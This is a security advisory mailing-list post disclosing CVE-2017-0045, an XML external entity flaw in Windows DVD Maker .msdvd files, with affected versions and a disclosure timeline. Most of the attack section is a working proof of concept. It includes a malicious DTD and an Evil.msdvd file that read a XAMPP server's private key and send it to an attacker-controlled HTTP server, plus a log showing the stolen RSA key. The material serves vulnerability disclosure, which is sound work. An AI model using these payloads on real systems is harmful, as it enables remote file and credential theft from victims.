CVE-2017-0045 Windows DVD Maker XML External Entity File Disclosure

From: hyp3rlinx <>
Subject: CVE-2017-0045 Windows DVD Maker XML External Entity File Disclosure

[+] Credits: John Page AKA hyp3rlinx    
[+] Website:
[+] Source:
[+] ISR: ApparitionSec


Windows DVD Maker 

Windows DVD Maker is a feature you can use to make DVDs that you can watch on a computer or on a TV using a regular DVD player. 

Vulnerability Type:
XML External Entity Injection

CVE Reference:

Security issue:
Windows DVD Maker Project ".msdvd" files are prone to XML External Entity attacks allowing remote attackers to gain access
to files from a victims computer using a specially crafted malicious .msdvd file, resulting in remote information / file disclosures. 



Applies to:

Windows Server 2008 R2 Service Pack 1
Windows Server 2008 R2 Datacenter
Windows Server 2008 R2 Enterprise
Windows Server 2008 R2 Standard
Windows Web Server 2008 R2
Windows Server 2008 R2 Foundation
Windows 7 Service Pack 1
Windows 7 Ultimate
Windows 7 Enterprise
Windows 7 Professional
Windows 7 Home Premium
Windows 7 Home Basic
Windows 7 Starter
Windows Server 2008 Service Pack 2
Windows Server 2008 Foundation
Windows Server 2008 Standard
Windows Server 2008 for Itanium-Based Systems
Windows Web Server 2008
Windows Server 2008 Enterprise
Windows Server 2008 Datacenter
Windows Vista Service Pack 2
Windows Vista Home Basic
Windows Vista Home Premium
Windows Vista Business
Windows Vista Ultimate
Windows Vista Enterprise
Windows Vista Starter

Exploit code(s):
Steal XAMPP Web Servers private key "server.key".

1) python -m SimpleHTTPServer 8080 (listens on ATTACKER-IP, hosts payload.dtd)

2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">


3) "Evil.msdvd" 

<?xml version="1.0"?>
<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">

XAMPP Web Server private key sent to attacker:


C:\>python -m SimpleHTTPServer 8080
Serving HTTP on port 8080 ... - - [13/Mar/2017 23:53:36] "GET /payload.dtd HTTP/1.1" 200 - - - [13/Mar/2017 23:53:36] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbedfmnUQI+KQnaBjlY8dQZpY1ZpjjFtzhpB5zMPWo3m4dbwelHx8buOt0CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmkcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh5YQYLKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY----- HTTP/1.1" 301 - - - [13/Mar/2017 23:53:37] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbrdfmnUQI+KQnaBjlY8dQZpY1ZxjjFtzhpB5zMPmo4m4dbwelHx8buOt6CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmmcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh3YQYiKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY-----/ HTTP/1.1" 200 -

Disclosure Timeline:
Vendor Notification: September 3, 2016
Vendor acknowledgement: November 17, 2016
March 14, 2017 : Vendor released MS17-020
March 15, 2017 : Public Disclosure

Network access:


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